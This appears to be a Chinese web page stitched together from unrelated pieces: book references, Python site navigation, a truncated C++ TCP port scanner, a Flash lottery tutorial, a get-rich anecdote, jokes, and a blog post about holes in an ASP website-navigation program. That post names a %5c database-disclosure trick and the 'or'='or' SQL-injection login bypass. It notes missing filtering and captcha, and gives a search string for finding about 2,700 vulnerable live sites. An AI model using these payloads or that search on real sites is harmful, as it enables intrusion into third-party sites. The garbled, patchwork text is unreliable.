[2] Bruce Eckel.Java编程思想(Thinking in Java)[M].北京:机械工业出版社.
[3] Joseph L.Weber.Java 2编程详解(Using Java 2)[M].北京:电子工业出版社.
[4] Borland公司.Building Applications with JBuilder.
篇6:深度剖析使用python抓取网页正文的源码
最近更 新
python 实现堆排序算法代码
Python 代码性能优化技巧分享
netbeans7安装python插件的方法图解
python爬取网站数据保存使用的方法
ptyhon实现sitemap生成示例
paramiko模块安装和使用(远程登录服务器)
python操作数据库之sqlite3打开数据库、删
python自动安装pip
python list 合并连接字符串的方法
Python 学习笔记
热 点 排 行
Python入门教程 超详细1小时学会
python 中文乱码问题深入分析
比较详细Python正则表达式操作指
Python字符串的encode与decode研
Python open读写文件实现脚本
Python enumerate遍历数组示例应
Python 深入理解yield
Python+Django在windows下的开发
python 文件和路径操作函数小结
python 字符串split的用法分享
篇7:一个值得学习的 扫描器c++源码
源码 都注释了一下 方便理解 加分啊
编译了一下 个人版
//首先 引入需要用到的库文件
#include
#include
#include
#pragma comment(lib,“ws2_32.lib”)//编译链接用的库文件
//只有包含了这些头文件 才能引用里面的 函数方法
char *host;//定义字符型 变量 指针 保存主机IP
int threadnum,maxthread,totalport;//定义线程 端口
long nowport ;//当前端口
TIMEVAL timeout; //定义一个时间结构体的对象
FD_SET mask;
void display(void)
{
static int play=0;
char *plays[12]=
{
“ | ”,
“ / ”,
“ - ”,
“ ”,
“ | ”,
“ / ”,
“ - ”,
“ // ”,
“ | ”,
“ / ”,
“ - ”,
“ // ”,
};
printf(“=%s=t%d 线程 %d %s 完成...r”,plays[play],threadnum,nowport*100/(totalport+1),“%”);
play=(play==11)?0:play+1;
Sleep(1);
}
void WaitThreadEnd(void)
{
Sleep(1000);
printf(“n 线程结束中.....n”);
while (threadnum>0)
{
Sleep(1);
printf(“=|=t%d 线程数 r”,threadnum);
}
}
//最终的回调函数 线程
DWORD WINAPI ThreadFunc(LPVOID lp)
{
int port=*(DWORD*)lp;//得到端口
SOCKET sockfd;
struct sockaddr_in addr;// 套接字 地址的一个 结构体的 对象
u_long value;//定义一个 无符号的long;
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=inet_addr(host);
value=1;//非阻塞模式的参数
sockfd=socket(AF_INET,SOCK_STREAM,0);//初始化 流模式TCP
if (sockfd==INVALID_SOCKET)
{
printf(“套接字错误n”);
InterlockedExchangeAdd((long*)&threadnum,-1);
//意思就是 互斥 在线程中 确保数据被一个线程修改,
一个值得学习的 扫描器c++源码
,
。
return 0;
}
ioctlsocket(sockfd,FIONBIO,&value);
//套接字的一个 非阻塞模式
addr.sin_port=htons(port); //转换端口
connect(sockfd,(struct sockaddr *)&addr,sizeof(addr));
FD_ZERO(&mask);
FD_SET(sockfd,&mask);
value=select(0,NULL,&mask,NULL,&timeout);
if (value==0||value==-1)
{
closesocket(sockfd);//超时了 关闭
Sleep(50);
InterlockedExchangeAdd((long *)&threadnum,-1);
return 0;
}
else
{
shutdown(sockfd,0);
printf(“tt 发现 %d 打开rn”,port);
closesocket(sockfd);
Sleep(50);
InterlockedExchangeAdd((long *)&threadnum,-1);
篇8:一个央视抽奖效果教程和源码发放
教程
一个央视抽奖效果1、先建一个名称为phonenum的文件夹,其内放一个名为phonenum.txt文件,在phonenum.txt内输入电话号码如:
numleng=21&n1=1331*345678&n2=133987*5432&n3=133456*8987&n4=1333*165432&n5=1353*165231&n6=1369*184762&n7
=1365*695477&n8=1369*835354&n9=13624*87539&n10=1362495*268&n11=135*5275947&n12=1364232*859&n13=1357549*356&n14
=135845*7586&n15=135241*4125&n16=1365959*458&n17=136542*2266&n18=13699*88588&n19=139*5847*88&n20=135987*5223&n21
=1367*342143&(特别说明:号码为随意乱写如有雷同实属巧合,)
2、新建一个名为“春晚取号.fla”文件,场景为400*300,帧频为24。
主场景第1帧上建立8个图层,分别为bj、btn、number、txt、line、wordsbj、words、as
这里主要讲解 as层第1帧:
var nobody = [];
var changenum = new LoadVars;
System.useCodePage = true;
//从外部phonenum/phonenum.txt文件中取得电话号码,这样就不用修改源程序
changenum.load(“phonenum/phonenum.txt”);
changenum.onLoad = function(suc) {
if (suc) {
var numsleng = changenum.numleng;
//取得电话号码总个数
for (var i = 1; i<=numsleng; i++) {
nobody[i-1] = changenum[“n”+i];
//将所有电话号码存入数组中
}
}
};
function mc() {
nEnterFrame. = function () {
t = random(10);
_root.abc.text = nobody[t];
// 以下为发送变量到后台
utLc = new LocalConnection();
outLc.send(“lcName”, “MSG”, _root.abc.text);
delete outLc;
//
};
}
stars_mc._visible = false;
3、另建一名为getMsg.fla文件,其第1帧上as:
var myarray = [];
inLC = new LocalConnection();
inLC.MSG = function(myData) {
inMsg.text = myData;
nums.text = myarray.push(myData);
};
inLC.connect(“lcName”);
var i = 0;
btn.onRelease = function() {
i++;
for (var j = 1; j<=10; j++) {
if (i == j) {
_root[“num”+j] = inMsg.text;
}
}
}
同时打开那两个swf文件可看到效果,
点击这里下载源文件
篇9:一个网页净赚100万美金
打开电脑,在浏览器里输入:www.mill-liondollarhomepage.com,这时会跳出一个页面,上面布满了花花绿绿的图标,密密麻麻,看得让人眼花缭乱。可别小看这个网页,它可为其主人带来了整整100万美金的收入!
故事还得从头说起:亚历克斯今年20岁。刚刚高中毕业,因为家境贫寒。整个暑假,他都在为不菲的大学学费犯愁。当然,他完全可以像一般的穷孩子那样。申请助学贷款,毕业之后再慢慢还。但成熟懂事的亚历克斯可不想那样。脑袋里装满鬼点子的他,要靠自己的能力去挣四年的学费。
某个深夜,正当他冥思苦想、辗转反侧之际,一个想法闪过脑海。他从床上一跃而起,不到10分钟的工夫。建立了一个网页,并将之划成一万个格子。他拟画出如此生财之道:把格子作为广告位出售,每个售价为100美元。买家可以在格子里放任何东西,博客、购物网站等的链接图标,甚至贴上自己的照片也行:由于每个格子还没指甲盖大,这意味着如果你想让自己的东西更显眼,就必须购买更多的格子。
为了显示出自己的凌云壮志,同时也为了自我鼓励,亚历克斯将网站命名为“百万美元的首页”!网站出炉后。他撺掇亲朋好友购买了一批格子。因其独特的想法和耳目一新的创意。一些报刊随即赶来,纷纷加以报道。如此一番造势后,“百万美元的首页”很快就路人皆知。紧接着,大量的订单纷至沓来。平均每天竟有40多个格子被售出,也就是说,亚历克斯日进账4千美金!看到这个数字后,作为穷学生的他竟瞠目结舌,双手颤抖。
不出两个月,“百万美元的首页”上的空格子就寥寥无几。此时,亚历克斯盘点了一下,户头上已有90万美元。离“终极目标”仅剩一步之遥!见生意如此火爆,他把剩下的一千个格子,拿到“易趣”上进行拍卖,没想到,几分钟内就被抢购一空!
如今,“百万美元的首页”右上角贴着亚历克斯大获全胜的标志:sold ouc(售罄)。这下甭说学费。就是再买幢别墅外加一辆小车也绰绰有余了。就这样。亚历克斯用灵感与智慧掘得了人生的第一桶金。
20岁的毛头小子,在10分钟之内。创造了100万美金的财富。这就像当年“曲别针换别墅”一样,听起来简直就是天方夜谭。前不久,亚历克斯的奇迹被全球各大报刊、网站报道,“百万美元的首页”也被评为“年度最值得一看的网站”。有评论说,知识与科技才是发财致富的利器,也有人说。互联网经济的时代,亚历克斯是淘得一篮金的幸运儿……
不过,我觉得这些都没一句话说得贴切,其实,亚历克斯的成功验证了美国钢铁大王安德鲁·卡内基的秘密口诀:一切的财富、一切的成就,都源于最初的一个小小的念头。
高三老师对全班同学说:“马上就要高考了,早恋的就别吵架了,免得影响心情;还没早恋的就别表白了,免得被拒绝影响心情。”
一外科医生去餐厅吃饭。点菜时服务员总挠屁股。医生关切地问:有痔疮吗?服务员不耐烦地答道:请照菜谱点!菜谱上没有的不要点!
篇10:收拾一个网站导航的源码漏洞预警
通明IT博客
俺无意中看到一个网站导航的源码,这源码是“访hao123和265的结合版本”
有后台而且也很强大!!!!!
完全可以后台操作,我想这类站应该很安全把,所以下来看看,一看大失所望,极端垃圾!!!!!!
简直就像是初学者写的站!!!!
这程序下载地址:www.zzadmin.com/down/show_id_15691.asp
里面bug可以说是无聊中的无聊!!!!
下面我来分析!
我先从数据库一块分析
这程序有两个数据库链接文件!文件名:conn.asp
代码为:
<%
dim conn
dim dbpath
set conn=server.createobject(“adodb.connection”)
DBPath = Server.MapPath(“#lunwindata.asa”)
conn.Open “Provider = Microsoft.Jet.OLEDB.4.0;Data Source =” & DBPath
%>
这段代码我原来都写过这一类文章
这段代码没有容错语句,可以直接用%5c暴库!!!
两个conn.asp都一样可以
然后我们到后台登陆页面那
那里没有验证码验证,看样子就可以用“or'='or'登陆,果然一输入就可以,一看源码更是的,
<%
username=trim(Request.form(”username“)) '只用trim函数过滤两边空格
password=trim(Request.form(”password“)) ‘只用trim函数过滤两边空格
if username=”“ or password=”“ then Response.Redirect (”index.asp“) '如果用户名和密码填写为空,重定项到index.asp页面
set rs=server.createobject(”adodb.recordset“)
sql=”select * from admin where username='“&username&”'and password='“&password&”'“ ‘直接把用户名密码带入数据库查询
以下代码省略!!!
我们在来看add.asp这文件,这文件是网站导航的新站提交页面
我认为他这站连后台登陆过滤都没过,那么跨站更是没有过了,一看源码,果然
action=request(”action“) 直接用request对象接受客户端提交的东西,没做任何过滤!!!!
memo=request(”memo“)
title=request(”title“)
email=request(”email“)
url=request(”url“)
classname=request(”classname“)
leibie=request(”leibie")
而且这名程序员,编程习惯极端不良好,居然不定义用哪种方式接受,直接用request接受,所以这程序不被灭都要被灭!!!
而且在后台登陆那块,就算他把'or'='or'那块给封了,但是没验证码验证,我可以直接用穷举来破解!!!!
这程序虽然在admin目录下添加了放注入程序,文件名:function.asp但是这一套源码里面居然没一个文件来挂接它使用它!!!!!
这套程序在网上的使用人还满多
在google使用关键字: Copyright? 2003-2008 网址前线
可以搜出一大堆!!足足有 搜索 Copyright? 2003-2008 网址前线 获得大约 2,700 条查询结果那么多,真不知道这些站长怎么想地!!!!!
悲哀啊!!!!!
我的blog:hi.baidu.com/tongming133!!!!!!!!
文档为doc格式